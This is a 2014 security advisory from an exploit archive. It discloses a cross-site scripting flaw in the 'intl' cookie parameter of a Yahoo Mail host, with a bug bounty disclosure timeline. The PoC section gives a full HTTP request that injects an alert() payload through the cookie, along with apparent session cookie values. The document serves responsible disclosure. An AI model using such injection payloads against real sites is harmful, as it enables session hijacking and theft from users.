what you don't know can hurt you

Yahoo intl Cross Site Scripting

Yahoo intl Cross Site Scripting
Posted Mar 9, 2014
Authored by Stefan Schurtz

The cookie intl parameter on de-mg42.mail.yahoo.com suffered from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 7eaacf099c1d3f5219db68581f54dc97

Yahoo intl Cross Site Scripting

Change Mirror Download

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Hash: SHA1

Here is the my last advisory which I've reported in 2013 to the Yahoo
Bug Bounty Program. And again...the same story for this report as for my
others :-/

If you're interested, you can read it here:

http://darksecurity.de/index.php?/259-Yahoo-Bug-Bounty-Program-Vulnerability-1-XSS-on-ads.yahoo.com.html
http://darksecurity.de/index.php?/254-Yahoo-Bug-Bounty-Program-Vulnerability-2-Open-Redirect.html

Advisory: Yahoo Bug Bounty Program Vulnerability #3
XSS on de-mg42.mail.yahoo.com
Advisory ID: SSCHADV2013-YahooBB-002
Author: Stefan Schurtz
Affected Software: Successfully tested on de-mg42.mail.yahoo.com
Vendor URL: http://yahoo.com/
Vendor Status: Not tested anymore
Bounty: nothing

==========================
Vulnerability Description
==========================

The 'intl'-Paramter on "https://de-mg42.mail.yahoo.com/" is prone to a
Cross-site Scripting vulnerability

==========================
PoC-Exploit
==========================

GET https://de-mg42.mail.yahoo.com/neo/launch?.rand=02j5el0e9m3mr

Host: de-mg42.mail.yahoo.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:25.0) Gecko/20100101
Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: YM.SREQs.schurtz=1;
YM.NEO_114841791630661482=width=1920&height=874; B=aj6vf6l8j20rv&b=4&
d=itbFpMNpYFMz7rPwe5JFum_ghxk-&s=i8&i=lvGlArFYMBIJ47eKw1fV;
RMBX=aj6vf6l8j20rv&b=3&s=0k&t=59; V=v=0.90&cc=0&m=0;
POPUPCHECK=1387130698530; adx=c322590@1386248182@1;
T=z=bslqSBbANvSBRhTgC/z0ojCNjA2MAY2NjNPMzYwTjYxNDcxMT&a=QAE&
sk=DAA8V8EU20nhMO&ks=EAAl0SH4Wfzh6QOSww.4WR97g--~E&d=c2wBTVRjeE53RXhNVFE0TkRFM09URTJNekEyTmpFME9ESS0BYQFRQUUBZwFYR1lLREF
LVTdFWjU0SjY3QVJaUEYyMzZZSQFzY2lkAWJIVnpjWTF0a
DdTVFREVFJLZUtxem4yeC5DWS0BYWMBQUVERkQ5VWQBdGlwAWQ1OTc3RAFzYwF3bAF6egFic2xxU0JBN0U-;
F=a=5wuRvLEMvSo9VbE7dA3FBiS57T.ECJPqZKL7SqUSshaxgafrUTyTA2TfmjWAGc1FiTDSLSw-
&b=_pW9; PH=l=de-DE&i=de&fn=K2_4Upj6Mg1KYq4D9FKN;
SSL=v=1&s=ZKphB8TnY2DMWrNEU3WnQdsBp50y6G.DA.GMkzNJBkkaUPmmwLBscSpK5X5gJjBMR671vlpoBasj8HY6cXSNbA--&
kv=0; ywadp100034076556=3167627385;
fpc100034076556=ZavCj2Fd|aEGcHAwNaa|fses100034076556=|aEGcHAwNaa|
ZavCj2Fd|fvis100034076556=|8Mo080oosT|8Mo080oosT|8Mo080oosT|8|8Mo080oosT|8Mo080oosT;
ywadp1000357943879=4084605029;
fpc1000357943879=ZbHoAVDq|0UsAOAwNaa|fses1000357943879=|0UsAOAwNaa|ZbHoAVDq|fvis1000357943879=
|8Mo0807780|8Mo0807780|8Mo0807780|8|8Mo0807780|8Mo0807780; AO=o=0;
YLS=v=1&p=1&n=0; ucs=bnas=0&eup=1;
_br_uid_2=uid%3D9863339468277%3Av%3D10.6.1%3Ats%3D1386895411464%3Ahc%3D1; Y=v=1&n=d7kp7cfrj6gcm&l=i.i27khjp/o
&p=m2evvde012000000&iz=&r=sd&lg=de-DE&intl=dec52a6"-alert(document.domain)-"c8d9133635e;
U=mt=fnqDoZ2MhYjxjMnSZ.dZc46HZp7QbCgwGOhf97k-&
ux=u2JrSB&un=d7kp7cfrj6gcm; ypcdb=cf2c3147a30c5264ccbae29c07ec31b3;
YM=v=2&u=bTYqAOaoqXPwtE2NaDnywgQ.MkXnpDL1MkqqIA--&d=&f=AAA&t=3bKrSB&s=55nr;
DK=v=2&p=NnwyMzMwfFZpcnR1YWx8RGVza3RvcCBCcm93c2VyfHdpbmRvd3MgbnR8NS4x
Connection: keep-alive

==========================
Disclosure Timeline
==========================

15-Dec-2013 - vendor informed by contact form (Yahoo Bug Bounty Program)
31-Dec-2013 - next message to the Yahoo Securiy Contact
04-Jan-2014 - feedback from vendor
04-Jan-2014 - vendor informed again about the three vulnerabilities
06-Jan-2014 - feedback from vendor
15-Jan-2014 - contact with Jeff Zingler (Threat Response@Yahoo)
16-Jan-2013 - contact with Jeff Zingler (Threat Response@Yahoo) // last
contact

==========================
Credits
==========================

Vulnerability found and advisory written by Stefan Schurtz.

==========================
References
==========================

http://yahoo.com/
http://www.darksecurity.de/advisories/BugBounty/yahoo/SSCHADV2013-YahooBB-003.txt
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